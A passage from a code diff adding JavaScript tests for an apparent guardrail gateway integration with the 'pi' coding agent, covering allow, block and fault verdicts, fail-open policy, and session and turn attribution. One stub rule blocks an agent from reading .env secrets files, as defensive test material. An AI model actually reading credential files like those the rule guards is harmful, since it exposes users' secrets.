(name === 'bad-json') return { status: 200, raw: '{ truncated' }; + if (name === 'array-body') return { status: 200, payload: [] }; + if (name === 'string-body') return { status: 200, payload: 'ok' }; + if (name === 'boom') return { status: 500, payload: { error: { message: 'kaboom' } } }; + if (name === 'naked-403') return { status: 403, payload: { error: { message: 'nope' } } }; + if (request.body.tool_name === 'read' && request.body.input?.path?.endsWith('.env')) { + // Byte-for-byte the shape CliError::into_response produces. + return { + status: 403, + payload: { + error: { + message: 'guardrail rejected: read .env is blocked; use .env.example', + type: 'nemo_relay_guardrail_rejected', + reason: 'read .env is blocked; use .env.example', + }, + }, + }; + } + return { status: 200, payload: {} }; + }); + url = await listen(ctx.server); + }); + + after(() => ctx.server.close()); + + // A 2xx body may carry a required argument transform, so an unreadable one is not + // an empty allow -- treating it as one runs the original arguments and silently + // discards a policy decision, which is the failure a refused transform blocks for. + it('treats an unreadable or non-object 2xx body as a fault, not a bare allow', async () => { + for (const name of ['bad-json', 'array-body', 'string-body']) { + const outcome = await postHook(baseConfig(url), { hook_event_name: name }); + assert.equal(outcome.kind, 'fault', `${name} must not be a plain allow`); + assert.match(outcome.detail, /not a JSON object/); + assert.equal(outcome.origin, 'response', `${name} answered; it was not unreachable`); + } + }); + + it('treats 2xx as allow', async () => { + const outcome = await postHook(baseConfig(url), { + hook_event_name: 'tool_call', + tool_name: 'read', + input: { path: 'README.md' }, + }); + // An allow may carry a body (a rewritten payload from a request intercept), so assert the + // verdict rather than the exact object. + assert.equal(outcome.kind, 'allow'); + assert.equal(outcome.reason, undefined); + }); + + it('turns a guardrail 403 into a block carrying the reason verbatim', async () => { + const outcome = await postHook(baseConfig(url), { + hook_event_name: 'tool_call', + tool_name: 'read', + input: { path: '/work/.env' }, + }); + assert.equal(outcome.kind, 'block'); + // Verbatim matters: pi passes this straight to the model, so any added + // framing would become part of what the model reads. + assert.equal(outcome.reason, 'read .env is blocked; use .env.example'); + assert.ok(!outcome.reason.startsWith('guardrail rejected:'), 'runtime framing must be stripped'); + }); + + it('does not present a 403 without the guardrail marker as a policy decision', async () => { + // An authorization failure is not a judgment about the request; reporting + // it as one would tell the model a policy considered and refused its call. + const outcome = await postHook(baseConfig(url), { hook_event_name: 'naked-403' }); + assert.equal(outcome.kind, 'fault'); + assert.equal(outcome.origin, 'response', 'a refusal is an answer'); + }); + + it('reports a non-403 error status as a fault, not a block', async () => { + const outcome = await postHook(baseConfig(url), { hook_event_name: 'boom' }); + assert.equal(outcome.kind, 'fault'); + assert.match(outcome.detail, /HTTP 500/); + assert.equal(outcome.origin, 'response'); + }); + + it('times out rather than hanging pi\'s critical path', async () => { + const outcome = await postHook(baseConfig(url, { timeoutMs: 50 }), { + hook_event_name: 'slow', + }); + assert.equal(outcome.kind, 'fault'); + assert.match(outcome.detail, /did not respond within 50ms/); + assert.equal(outcome.origin, 'timeout', 'slow is not the same as absent'); + }); + + it('reports an unreachable gateway as a fault', async () => { + // Port 1 is reserved and never listening. + const outcome = await postHook(baseConfig('http://127.0.0.1:1'), { + hook_event_name: 'tool_call', + }); + assert.equal(outcome.kind, 'fault'); + assert.equal(outcome.origin, 'transport'); + }); + + it('sends the session id in both the header and the payload', async () => { + await postHook(baseConfig(url, { sessionId: 'sess-42' }), { hook_event_name: 'session_start' }); + const last = ctx.received.at(-1); + assert.equal(last.url, '/hooks/pi'); + assert.equal(last.headers['x-nemo-relay-session-id'], 'sess-42'); + // The gateway strips inbound routing-identity headers, so the payload copy + // is what actually survives. + assert.equal(last.body.session_id, 'sess-42'); + }); +}); + +describe('failure policy', () => { + it('fails open by default so a dead sidecar does not brick the agent', () => { + const outcome = resolveFault( + { url: '', timeoutMs: 1, onFault: 'open', sessionId: 's' }, + { kind: 'fault', origin: 'transport', detail: 'connection refused' }, + 'read', + ); + assert.deepEqual(outcome, { kind: 'allow' }); + }); + + it('fails closed on request, and says the block is infrastructure not policy', () => { + const outcome = resolveFault( + { url: '', timeoutMs: 1, onFault: 'closed', sessionId: 's' }, + { kind: 'fault', origin: 'transport', detail: 'connection refused' }, + 'read', + ); + assert.equal(outcome.kind, 'block'); + assert.match(outcome.reason, /infrastructure fault, not a judgment/); + assert.match(outcome.reason, /could not be reached/); + assert.match(outcome.reason, /connection refused/); + }); + + // A gateway that replied 413 was reached. Sending the reader to debug connectivity is + // the wrong search, and this sentence is what the model reads too, so it has to name + // the failure that actually happened. + it('says the gateway answered when it answered, rather than that it was unreachable', () => { + const outcome = resolveFault( + { url: '', timeoutMs: 1, onFault: 'closed', sessionId: 's' }, + { kind: 'fault', origin: 'response', detail: 'gateway returned HTTP 413' }, + 'write', + ); + assert.equal(outcome.kind, 'block'); + assert.match(outcome.reason, /answered this write call without a usable decision/); + assert.doesNotMatch(outcome.reason, /could not be reached/); + // The tail is unchanged: nothing judged the request either way. + assert.match(outcome.reason, /infrastructure fault, not a judgment/); + assert.match(outcome.reason, /HTTP 413/); + }); + + // A timeout is not an unreachable gateway, and a handler failure is not a transport + // result. All four block identically; the sentence is the only thing telling the reader + // which of four places to look. + it('gives each fault origin its own opening', () => { + const config = { url: '', timeoutMs: 1, onFault: 'closed', sessionId: 's' }; + const opening = (origin) => + resolveFault(config, { kind: 'fault', origin, detail: 'd' }, 'read').reason; + + assert.match(opening('transport'), /could not be reached/); + assert.match(opening('timeout'), /did not answer in time/); + assert.match(opening('response'), /without a usable decision/); + assert.match(opening('handler'), /gate failed before it could authorize/); + + const openings = ['transport', 'timeout', 'response', 'handler'].map(opening); + assert.equal(new Set(openings).size, 4, 'each origin must read differently'); + for (const reason of openings) { + assert.match(reason, /infrastructure fault, not a judgment/); + } + }); +}); + +describe('configFromEnv', () => { + const saved = { ...process.env }; + after(() => { + process.env = saved; + }); + + it('defaults to the gateway default bind and fails open', () => { + delete process.env.NEMO_RELAY_PI_GATEWAY_URL; + delete process.env.NEMO_RELAY_PI_TIMEOUT_MS; + delete process.env.NEMO_RELAY_PI_FAIL; + const config = configFromEnv('s1'); + assert.equal(config.url, 'http://127.0.0.1:4040'); + assert.equal(config.timeoutMs, 5000); + assert.equal(config.onFault, 'open'); + }); + + it('strips a trailing slash so the path join cannot double up', () => { + process.env.NEMO_RELAY_PI_GATEWAY_URL = 'http://127.0.0.1:9999/'; + assert.equal(configFromEnv('s1').url, 'http://127.0.0.1:9999'); + }); + + it('ignores a non-numeric or non-positive timeout', () => { + process.env.NEMO_RELAY_PI_TIMEOUT_MS = 'soon'; + assert.equal(configFromEnv('s1').timeoutMs, 5000); + process.env.NEMO_RELAY_PI_TIMEOUT_MS = '0'; + assert.equal(configFromEnv('s1').timeoutMs, 5000); + }); + + it('opts into fail-closed only on the exact value', () => { + process.env.NEMO_RELAY_PI_FAIL = 'closed'; + assert.equal(configFromEnv('s1').onFault, 'closed'); + process.env.NEMO_RELAY_PI_FAIL = 'CLOSED'; + assert.equal(configFromEnv('s1').onFault, 'open'); + }); +}); diff --git a/integrations/pi/test/harness.mjs b/integrations/pi/test/harness.mjs new file mode 100644 index 000000000..f19a9ff11 --- /dev/null +++ b/integrations/pi/test/harness.mjs @@ -0,0 +1,158 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +/** + * Shared test harness: a stub gateway, and a driver that fires pi's hooks. + * + * **The two gated hooks resolve competing handlers by different rules, and + * the driver has to model each one.** A driver that picks either rule for both + * misrepresents one of them, and preemption is exactly what these tests exist + * to pin. + * + * | Hook | pi's rule | Catches? | + * |---|---|---| + * | `tool_call` | Runs **every** handler, keeps the **last** truthy result, and returns early **only** on `{block: true}` | No — an exception propagates | + * | `user_bash` | Returns the **first** truthy result and stops | Yes — a throw fails *open* | + * + * So an earlier extension preempts the tool gate only by *blocking*; a + * non-blocking result from one does not stop us, it is simply overwritten by + * whichever handler answers last. On the inline-shell path any truthy result at + * all preempts, which is why `{}` is dangerous there. + */ +import { createServer } from 'node:http'; + +/** + * A gateway whose reply to the *gated* hook is set per test. + * + * Every other post is answered 200 `{}`: they are observability, and answering + * them specially would mean a test asserting on a block could not tell which + * post the block came from. + * + * @param gatedHook the `hook_event_name` whose reply `replyWith` controls + * + * A reply is `{status, payload, delayMs}`, or `{status, raw, delayMs}` to send a + * body verbatim -- which is the only way to reach the unreadable-success path. + */ +export function stubGateway(gatedHook) { + const posts = []; + let reply = { status: 200, payload: {} }; + const server = createServer((req, res) => { + let body = ''; + req.on('data', (chunk) => { + body += chunk; + }); + req.on('end', () => { + const parsed = JSON.parse(body || '{}'); + posts.push(parsed); + const gated = gatedHook !== undefined && parsed.hook_event_name === gatedHook; + const { status, payload, raw, delayMs } = gated ? reply : { status: 200, payload: {} }; + const send = () => { + res.writeHead(status, { 'content-type': 'application/json' }); + // `raw` lets a case put a body on the wire that `JSON.parse` cannot read. + // The client treats an unreadable success as a fault rather than an empty + // allow, and nothing `JSON.stringify` produces can reach that branch. + res.end(raw ?? JSON.stringify(payload ?? {})); + }; + if (delayMs) setTimeout(send, delayMs); + else send(); + }); + }); + return { + server, + posts, + replyWith(next) { + reply = next; + }, + reset() { + posts.length = 0; + reply = { status: 200, payload: {} }; + }, + }; +} + +/** Start a stub server on a free port and return its base URL. */ +export async function listen(server) { + await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); + return `http://127.0.0.1:${server.address().port}`; +} + +/** + * Register the extension and return a driver that fires hooks the way pi does. + * + * `before` registers handlers *ahead* of the extension, which is the + * `pi install` load order: package-sourced extensions load last, so anything + * already installed answers first. Loading with `-e` inverts it, and is what + * `nemo-relay run --agent pi` uses precisely so the gate runs first. + * + * @param extension the extension factory under test + * @param options.before `{ [hookName]: handler }` registered before the extension + * @param options.ctx overrides merged into the extension context + */ +export function load(extension, options = {}) { + const handlers = new Map(); + const register = (name, handler) => { + if (!handlers.has(name)) handlers.set(name, []); + handlers.get(name).push(handler); + }; + for (const [name, handler] of Object.entries(options.before ?? {})) { + register(name, handler); + } + extension({ + on: register, + registerProvider() {}, + }); + const ctx = { + cwd: '/work', + mode: 'interactive', + hasUI: true, + sessionManager: { getSessionId: () => 'sess-under-test' }, + ...options.ctx, + }; + return async (name, event = {}) => { + let last; + for (const handler of handlers.get(name) ?? []) { + const result = await handler({ type: name, ...event }, ctx); + if (!result) continue; + if (name === 'user_bash') { + // First truthy result wins and stops iteration. `{}` is truthy, so an + // allow must be `undefined` or it silently preempts every extension + // behind it while deciding nothing. + return result; + } + if (name === 'tool_call') { + // Every handler runs; only a block short-circuits. A non-blocking + // truthy result does not preempt -- it is overwritten by whoever + // answers last, which is why returning one is inert rather than fatal. + last = result; + if (result.block) return result; + continue; + } + last = result; + } + return last; + }; +} + +/** + * Drain the extension's serial post queue. + * + * Gating hooks await their own verdict, but everything else is enqueued and not + * awaited. `session_shutdown` awaits the chain -- that is how the extension + * guarantees nothing is lost on exit -- so it doubles as the drain. + */ +export const drain = (fire) => fire('session_shutdown', { reason: 'quit' }); + +/** Every post with a given hook event name, in arrival order. */ +export const named = (posts, name) => posts.filter((post) => post.hook_event_name === name); + +/** The 403 body `CliError::into_response` produces, byte for byte. */ +export const rejection = (reason) => ({ + status: 403, + payload: { + error: { + message: `guardrail rejected: ${reason}`, + type: 'nemo_relay_guardrail_rejected', + reason, + }, + }, +}); diff --git a/integrations/pi/test/lifecycle.test.mjs b/integrations/pi/test/lifecycle.test.mjs new file mode 100644 index 000000000..d33e6b011 --- /dev/null +++ b/integrations/pi/test/lifecycle.test.mjs @@ -0,0 +1,730 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +/** + * Drives the extension's lifecycle handlers and asserts what reaches the gateway. + * + * `gateway-client.test.mjs` covers the wire contract in isolation; nothing + * exercised the handlers themselves, so the identity fields the gateway cannot + * infer -- `attempt_index` and `turn_seq` -- were implemented and demonstrated + * once in a live trace but never pinned. These tests pin them, plus the + * shutdown-reason behavior. + * + * Run: node --test integrations/pi/test/*.test.mjs + */ +import assert from 'node:assert/strict'; +import { after, before, beforeEach, describe, it } from 'node:test'; + +import { listen, load as loadExtension, named, stubGateway } from './harness.mjs'; + +const extension = (await import('../index.ts')).default; + +// Headless: pi's print mode has no UI, and none of these hooks depend on one. +const load = () => loadExtension(extension, { ctx: { mode: 'print', hasUI: false } }); + +describe('lifecycle identity the gateway cannot infer', () => { + let ctx; + let url; + + before(async () => { + ctx = stubGateway(); + url = await listen(ctx.server); + process.env.NEMO_RELAY_PI_GATEWAY_URL = url; + }); + + after(() => { + ctx.server.close(); + delete process.env.NEMO_RELAY_PI_GATEWAY_URL; + }); + + beforeEach(() => { + ctx.posts.length = 0; + }); + + it('attributes each turn to its attempt across an agent-run re-entry', async () => { + const fire = load(); + await fire('session_start', { reason: 'startup' }); + // Attempt 0, two turns. + await fire('agent_start'); + await fire('turn_start', { turnIndex: 0, timestamp: 1 }); + await fire('turn_end', { turnIndex: 0 }); + await fire('turn_start', { turnIndex: 1, timestamp: 2 }); + await fire('turn_end', { turnIndex: 1 }); + await fire('agent_end', { messages: [] }); + // Re-entry: pi resets turnIndex to 0. + await fire('agent_start'); + await fire('turn_start', { turnIndex: 0, timestamp: 3 }); + await fire('turn_end', { turnIndex: 0 }); + await fire('agent_end', { messages: [] }); + await fire('agent_settled'); + await fire('session_shutdown', { reason: 'quit' }); + + const starts = named(ctx.posts, 'turn_start'); + assert.equal(starts.length, 3); + + // pi's turn_index collides across the re-entry... + assert.deepEqual( + starts.map((p) => p.turn_index), + [0, 1, 0], + ); + // ...while turn_seq stays monotonic and attempt_index attributes each turn. + assert.deepEqual( + starts.map((p) => p.turn_seq), + [0, 1, 2], + ); + assert.deepEqual( + starts.map((p) => p.attempt_index), + [0, 0, 1], + ); + + assert.deepEqual( + named(ctx.posts, 'agent_start').map((p) => p.attempt_index), + [0, 1], + ); + assert.equal(named(ctx.posts, 'agent_settled')[0].attempts, 2); + }); + + it('resets the attempt counter on agent_settled so a second prompt starts at 0', async () => { + const fire = load(); + await fire('session_start', { reason: 'startup' }); + await fire('agent_start'); + await fire('agent_end', { messages: [] }); + await fire('agent_settled'); + await fire('agent_start'); + await fire('session_shutdown', { reason: 'quit' }); + + assert.deepEqual( + named(ctx.posts, 'agent_start').map((p) => p.attempt_index), + [0, 0], + ); + }); + + it('posts every hook in order, never concurrently reordered', async () => { + const fire = load(); + await fire('session_start', { reason: 'startup' }); + await fire('agent_start'); + await fire('turn_start', { turnIndex: 0, timestamp: 1 }); + await fire('turn_end', { turnIndex: 0 }); + await fire('agent_end', { messages: [] }); + await fire('agent_settled'); + await fire('session_shutdown', { reason: 'quit' }); + + assert.deepEqual( + ctx.posts.map((p) => p.hook_event_name), + [ + 'session_start', + 'agent_start', + 'turn_start', + 'turn_end', + 'agent_end', + 'agent_settled', + 'session_shutdown', + ], + ); + }); + + it('carries the session id on every post', async () => { + const fire = load(); + await fire('session_start', { reason: 'startup' }); + await fire('session_shutdown', { reason: 'quit' }); + assert.ok(ctx.posts.length > 0); + for (const post of ctx.posts) { + assert.equal(post.session_id, 'sess-under-test'); + } + }); +}); + +describe('session_shutdown reason', () => { + let ctx; + + before(async () => { + ctx = stubGateway(); + process.env.NEMO_RELAY_PI_GATEWAY_URL = await listen(ctx.server); + }); + + after(() => { + ctx.server.close(); + delete process.env.NEMO_RELAY_PI_GATEWAY_URL; + }); + + beforeEach(() => { + ctx.posts.length = 0; + }); + + it('does not end the session on /reload, which would split one session into two traces', async () => { + const fire = load(); + await fire('session_start', { reason: 'startup' }); + await fire('session_shutdown', { reason: 'reload' }); + assert.deepEqual(named(ctx.posts, 'session_shutdown'), []); + // The queue is still drained, so nothing already posted is lost. + assert.equal(named(ctx.posts, 'session_start').length, 1); + }); + + for (const reason of ['quit', 'new', 'resume', 'fork']) { + it(`ends the session on ${reason}, and forwards the reason`, async () => { + const fire = load(); + await fire('session_start', { reason: 'startup' }); + await fire('session_shutdown', { reason }); + const ends = named(ctx.posts, 'session_shutdown'); + assert.equal(ends.length, 1); + assert.equal(ends[0].reason, reason); + }); + } + + it('forwards the replacement target when pi supplies one', async () => { + const fire = load(); + await fire('session_start', { reason: 'startup' }); + await fire('session_shutdown', { reason: 'fork', targetSessionFile: '/s/next.jsonl' }); + assert.equal(named(ctx.posts, 'session_shutdown')[0].target_session_file, '/s/next.jsonl'); + }); +}); + +describe('attribution on every hook that has one', () => { + let ctx; + + before(async () => { + ctx = stubGateway(); + process.env.NEMO_RELAY_PI_GATEWAY_URL = await listen(ctx.server); + }); + + after(() => { + ctx.server.close(); + delete process.env.NEMO_RELAY_PI_GATEWAY_URL; + }); + + beforeEach(() => { + ctx.posts.length = 0; + }); + + // Tool hooks used to carry no attribution at all, which made "which attempt ran this tool" + // answerable only by reading surrounding events in arrival order -- and that stops working the + // moment two attempts are in flight. + it('attributes tool hooks to the attempt and turn that ran them', async () => { + const fire = load(); + await fire('session_start', { reason: 'startup' }); + await fire('agent_start'); + await fire('turn_start', { turnIndex: 0, timestamp: 1 }); + await fire('turn_end', { turnIndex: 0 }); + await fire('agent_end', { messages: [] }); + // Second attempt: pi's turn_index is 0 again, so only turn_seq separates the two turns. + await fire('agent_start'); + await fire('turn_start', { turnIndex: 0, timestamp: 2 }); + await fire('tool_execution_start', { toolCallId: 'c1', toolName: 'read', args: {} }); + await fire('tool_call', { toolCallId: 'c1', toolName: 'read', input: { path: 'a.txt' } }); + await fire('tool_execution_end', { + toolCallId: 'c1', + toolName: 'read', + result: 'ok', + isError: false, + }); + await fire('turn_end', { turnIndex: 0 }); + await fire('session_shutdown', { reason: 'quit' }); + + for (const name of ['tool_call', 'tool_execution_end']) { + const post = named(ctx.posts, name)[0]; + assert.equal(post.attempt_index, 1, `${name} attempt_index`); + assert.equal(post.turn_seq, 1, `${name} turn_seq`); + } + }); + + // pi carries turn_index on the close but not turn_seq, so without this the close could not be + // matched to its own open across a re-entry, where turn_index 0 appears once per attempt. + it('gives turn_end the same turn_seq its turn_start announced', async () => { + const fire = load(); + await fire('session_start', { reason: 'startup' }); + await fire('agent_start'); + await fire('turn_start', { turnIndex: 0, timestamp: 1 }); + await fire('turn_end', { turnIndex: 0 }); + await fire('turn_start', { turnIndex: 1, timestamp: 2 }); + await fire('turn_end', { turnIndex: 1 }); + await fire('session_shutdown', { reason: 'quit' }); + + assert.deepEqual( + named(ctx.posts, 'turn_end').map((p) => [p.turn_index, p.turn_seq, p.attempt_index]), + [ + [0, 0, 0], + [1, 1, 0], + ], + ); + }); + + // `attempts` is how many attempts the run took; `attempt_index` is the last of them. Sending + // only the count made this the one hook a consumer filtering on attempt_index missed. + it('sends agent_settled the attempt count and the last attempt index', async () => { + const fire = load(); + await fire('session_start', { reason: 'startup' }); + await fire('agent_start'); + await fire('agent_end', { messages: [] }); + await fire('agent_start'); + await fire('agent_end', { messages: [] }); + await fire('agent_settled'); + await fire('session_shutdown', { reason: 'quit' }); + + const settled = named(ctx.posts, 'agent_settled')[0]; + assert.equal(settled.attempts, 2); + assert.equal(settled.attempt_index, 1); + }); +}); + +describe('compaction', () => { + let ctx; + + before(async () => { + ctx = stubGateway(); + process.env.NEMO_RELAY_PI_GATEWAY_URL = await listen(ctx.server); + }); + + after(() => { + ctx.server.close(); + delete process.env.NEMO_RELAY_PI_GATEWAY_URL; + }); + + beforeEach(() => { + ctx.posts.length = 0; + }); + + it('forwards both the announcement and the completion, with the token count', async () => { + const fire = load(); + await fire('session_start', { reason: 'startup' }); + await fire('agent_start'); + await fire('turn_start', { turnIndex: 0, timestamp: 1 }); + await fire('session_before_compact', { + reason: 'threshold', + willRetry: false, + preparation: { tokensBefore: 120_000, isSplitTurn: true }, + }); + await fire('session_compact', { + reason: 'threshold', + willRetry: false, + fromExtension: false, + compactionEntry: { tokensBefore: 120_000 }, + }); + await fire('session_shutdown', { reason: 'quit' }); + + const announced = named(ctx.posts, 'session_before_compact')[0]; + assert.equal(announced.reason, 'threshold'); + assert.equal(announced.will_retry, false); + assert.equal(announced.tokens_before, 120_000); + assert.equal(announced.is_split_turn, true); + assert.equal(announced.attempt_index, 0); + assert.equal(announced.turn_seq, 0); + + const completed = named(ctx.posts, 'session_compact')[0]; + assert.equal(completed.reason, 'threshold'); + assert.equal(completed.from_extension, false); + assert.equal(completed.tokens_before, 120_000); + }); + + // pi spells "cancel this compaction, or replace its result" as a returned object, so an + // observability handler that returned anything would change pi's behavior. + it('never returns a value that could cancel or replace pi compaction', async () => { + const fire = load(); + await fire('session_start', { reason: 'startup' }); + assert.equal( + await fire('session_before_compact', { reason: 'manual', willRetry: false }), + undefined, + ); + assert.equal( + await fire('session_compact', { reason: 'manual', willRetry: false, fromExtension: false }), + undefined, + ); + await fire('session_shutdown', { reason: 'quit' }); + }); + + // `willRetry` on the announcement is the only advance notice pi gives an extension that the + // agent run is about to re-enter; `agent_end` carries no such marker. + it('carries the retry marker that agent_end lacks', async () => { + const fire = load(); + await fire('session_start', { reason: 'startup' }); + await fire('session_before_compact', { reason: 'overflow', willRetry: true }); + await fire('session_shutdown', { reason: 'quit' }); + assert.equal(named(ctx.posts, 'session_before_compact')[0].will_retry, true); + }); +}); + +describe('concurrent tools in one turn', () => { + let ctx; + + before(async () => { + ctx = stubGateway(); + process.env.NEMO_RELAY_PI_GATEWAY_URL = await listen(ctx.server); + }); + + after(() => { + ctx.server.close(); + delete process.env.NEMO_RELAY_PI_GATEWAY_URL; + }); + + beforeEach(() => { + ctx.posts.length = 0; + }); + + // pi preflights sibling calls sequentially and then executes them concurrently, so + // `tool_execution_end` arrives in an order that has nothing to do with submission. + // `toolCallId` is the only correlator pi gives, and every piece of per-call state is + // keyed by it -- a regression that keyed on anything else would pass every other test + // here, because no other test uses more than one call id. + it('keeps two calls distinct when their ends arrive out of submission order', async () => { + const fire = load(); + await fire('session_start', { reason: 'startup' }); + await fire('agent_start'); + await fire('turn_start', { turnIndex: 0, timestamp: 1 }); + + await fire('tool_execution_start', { toolCallId: 'a', toolName: 'read', args: {} }); + await fire('tool_execution_start', { toolCallId: 'b', toolName: 'bash', args: {} }); + // Both gates in flight at once, which is what the serial queue has to survive. + await Promise.all([ + fire('tool_call', { toolCallId: 'a', toolName: 'read', input: { path: 'a.txt' } }), + fire('tool_call', { toolCallId: 'b', toolName: 'bash', input: { command: 'ls' } }), + ]); + // Closing in the reverse order, which is the case that motivates the id keying. + await fire('tool_execution_end', { toolCallId: 'b', toolName: '', result: 'ok', isError: false }); + await fire('tool_execution_end', { toolCallId: 'a', toolName: '', result: 'ok', isError: false }); + await fire('turn_end', { turnIndex: 0 }); + await fire('session_shutdown', { reason: 'quit' }); + + const ends = named(ctx.posts, 'tool_execution_end'); + assert.equal(ends.length, 2); + // `toolName` was empty on both ends, so each had to be recovered from the start that + // named it -- and recovered from the *right* one. + const byId = Object.fromEntries(ends.map((post) => [post.tool_call_id, post.tool_name])); + assert.deepEqual(byId, { a: 'read', b: 'bash' }); + assert.ok( + ends.every((post) => post.turn_seq === 0), + 'both calls ran in the same turn, so both must carry that turn', + ); + }); + + it('serializes posts even when gating hooks run concurrently', async () => { + const fire = load(); + await fire('session_start', { reason: 'startup' }); + await fire('turn_start', { turnIndex: 0, timestamp: 1 }); + await Promise.all([ + fire('tool_call', { toolCallId: 'a', toolName: 'read', input: {} }), + fire('tool_call', { toolCallId: 'b', toolName: 'read', input: {} }), + ]); + await fire('session_shutdown', { reason: 'quit' }); + + // The gateway derives boundaries from arrival order, so two concurrent gates must + // still reach it after the turn that owns them. + const order = ctx.posts.map((post) => post.hook_event_name); + assert.ok( + order.indexOf('turn_start') < order.indexOf('tool_call'), + `a tool span must not open before its turn: ${order.join(', ')}`, + ); + assert.equal(named(ctx.posts, 'tool_call').length, 2); + }); +}); + +describe('unpaired tool boundaries', () => { + let ctx; + + before(async () => { + ctx = stubGateway(); + process.env.NEMO_RELAY_PI_GATEWAY_URL = await listen(ctx.server); + }); + + after(() => { + ctx.server.close(); + delete process.env.NEMO_RELAY_PI_GATEWAY_URL; + }); + + beforeEach(() => { + ctx.posts.length = 0; + }); + + // Deliberate asymmetry, and one a future contributor would otherwise "fix": + // `tool_execution_start` fires before validation and for calls pi then discards, so + // forwarding it as a tool start would open gateway spans for calls that never ran. + it('never forwards tool_execution_start, which fires for calls that never execute', async () => { + const fire = load(); + await fire('session_start', { reason: 'startup' }); + await fire('tool_execution_start', { toolCallId: 'ghost', toolName: 'read', args: {} }); + await fire('session_shutdown', { reason: 'quit' }); + + assert.equal(named(ctx.posts, 'tool_execution_start').length, 0); + assert.equal(named(ctx.posts, 'tool_call').length, 0); + }); + + // The reason this hook closes the span rather than `tool_result`: a blocked call takes + // pi's immediate path and never reaches `afterToolCall`, so `tool_result` never fires -- + // but `tool_execution_end` always does, with `isError: true`. + it('closes a blocked call, which never reaches tool_result', async () => { + const fire = load(); + await fire('session_start', { reason: 'startup' }); + await fire('tool_execution_start', { toolCallId: 'blocked', toolName: 'read', args: {} }); + await fire('tool_execution_end', { + toolCallId: 'blocked', + toolName: '', + result: 'Tool failed.', + isError: true, + }); + await fire('session_shutdown', { reason: 'quit' }); + + const [end] = named(ctx.posts, 'tool_execution_end'); + assert.ok(end, 'a blocked call must still close'); + assert.equal(end.status, 'error'); + assert.equal(end.tool_name, 'read', 'the name comes from the start, which did fire'); + }); + + it('falls back to a placeholder when no start ever named the tool', async () => { + const fire = load(); + await fire('session_start', { reason: 'startup' }); + await fire('tool_execution_end', { toolCallId: 'orphan', toolName: '', result: null, isError: false }); + await fire('session_shutdown', { reason: 'quit' }); + + // Dropping the post would lose the span entirely; the gateway synthesizes the missing + // start, and a named-but-unknown tool is more useful than nothing. + const [end] = named(ctx.posts, 'tool_execution_end'); + assert.equal(end.tool_name, 'unknown'); + }); +}); + +describe('compaction-driven re-entry', () => { + let ctx; + + before(async () => { + ctx = stubGateway(); + process.env.NEMO_RELAY_PI_GATEWAY_URL = await listen(ctx.server); + }); + + after(() => { + ctx.server.close(); + delete process.env.NEMO_RELAY_PI_GATEWAY_URL; + }); + + beforeEach(() => { + ctx.posts.length = 0; + }); + + // The individual fields are pinned elsewhere; this pins the *sequence*, which is the + // one path where `willRetry` is genuine advance notice that the run is about to + // re-enter, and where pi's turn_index restarts at 0 for the second time. + it('keeps counting turns across a compaction, where pi restarts its own index', async () => { + const fire = load(); + await fire('session_start', { reason: 'startup' }); + await fire('agent_start'); + await fire('turn_start', { turnIndex: 0, timestamp: 1 }); + await fire('turn_end', { turnIndex: 0 }); + await fire('session_before_compact', { + reason: 'overflow', + willRetry: true, + preparation: { tokensBefore: 120_000, isSplitTurn: false }, + }); + await fire('agent_end', { messages: [] }); + await fire('session_compact', { reason: 'overflow', willRetry: true, fromExtension: false }); + await fire('agent_start'); + await fire('turn_start', { turnIndex: 0, timestamp: 2 }); + await fire('turn_end', { turnIndex: 0 }); + await fire('agent_end', { messages: [] }); + await fire('agent_settled'); + await fire('session_shutdown', { reason: 'quit' }); + + const starts = named(ctx.posts, 'turn_start'); + // pi says turn 0 both times; only turn_seq can tell them apart. + assert.deepEqual(starts.map((post) => post.turn_index), [0, 0]); + assert.deepEqual(starts.map((post) => post.turn_seq), [0, 1]); + assert.deepEqual(starts.map((post) => post.attempt_index), [0, 1]); + + const [announced] = named(ctx.posts, 'session_before_compact'); + assert.equal(announced.will_retry, true); + assert.equal(announced.tokens_before, 120_000); + assert.equal(announced.attempt_index, 0, 'announced during the first attempt'); + + const [settled] = named(ctx.posts, 'agent_settled'); + assert.equal(settled.attempts, 2, 'the compaction re-entry is a second attempt'); + }); +}); + +describe('what an interrupted session loses', () => { + let ctx; + + before(async () => { + ctx = stubGateway(); + process.env.NEMO_RELAY_PI_GATEWAY_URL = await listen(ctx.server); + }); + + after(() => { + ctx.server.close(); + delete process.env.NEMO_RELAY_PI_GATEWAY_URL; + }); + + beforeEach(() => { + ctx.posts.length = 0; + }); + + // pi registers no SIGINT handler in any mode -- all three build `["SIGTERM"]` plus + // SIGHUP off-Windows -- and raw mode is set only by the TUI, so under `-p`, + // `--mode json` and `--mode rpc` a user's Ctrl+C is a real SIGINT that terminates + // with teardown never running. `session_shutdown` never fires, the drain never + // happens, and whatever is still queued is lost. + // + // This pins the *bound* on that loss: every awaited hook has already reached the + // gateway by the time pi continues, so an interrupt can only drop observability + // marks queued since the last awaited one. Both gates and both turn boundaries + // await; nothing else does. + it('has already delivered every awaited hook, so only queued marks can be lost', async () => { + const fire = load(); + await fire('session_start', { reason: 'startup' }); + await fire('agent_start'); + + // Awaited: a turn boundary defines what later spans parent to. + await fire('turn_start', { turnIndex: 0, timestamp: 1 }); + assert.equal( + named(ctx.posts, 'turn_start').length, + 1, + 'turn_start must be delivered before pi continues, not queued', + ); + + // Awaited: the gate cannot decide without a verdict. + await fire('tool_call', { toolCallId: 'c1', toolName: 'read', input: { path: 'a.txt' } }); + assert.equal(named(ctx.posts, 'tool_call').length, 1, 'the gate is a round trip, by design'); + + await fire('turn_end', { turnIndex: 0 }); + assert.equal(named(ctx.posts, 'turn_end').length, 1); + + // The interrupt: no session_shutdown, so no drain. What is already delivered stays + // delivered -- the gateway holds it -- so the trace is left open, not lost. + const atInterrupt = ctx.posts.map((post) => post.hook_event_name); + assert.ok(atInterrupt.includes('session_start')); + assert.ok(atInterrupt.includes('turn_start')); + assert.ok(atInterrupt.includes('tool_call')); + assert.ok(atInterrupt.includes('turn_end')); + assert.ok( + !atInterrupt.includes('session_shutdown'), + 'the whole point: an interrupted session never closes', + ); + }); +}); + +describe('the session join key on redirected providers', () => { + let ctx; + + before(async () => { + ctx = stubGateway(); + process.env.NEMO_RELAY_PI_GATEWAY_URL = await 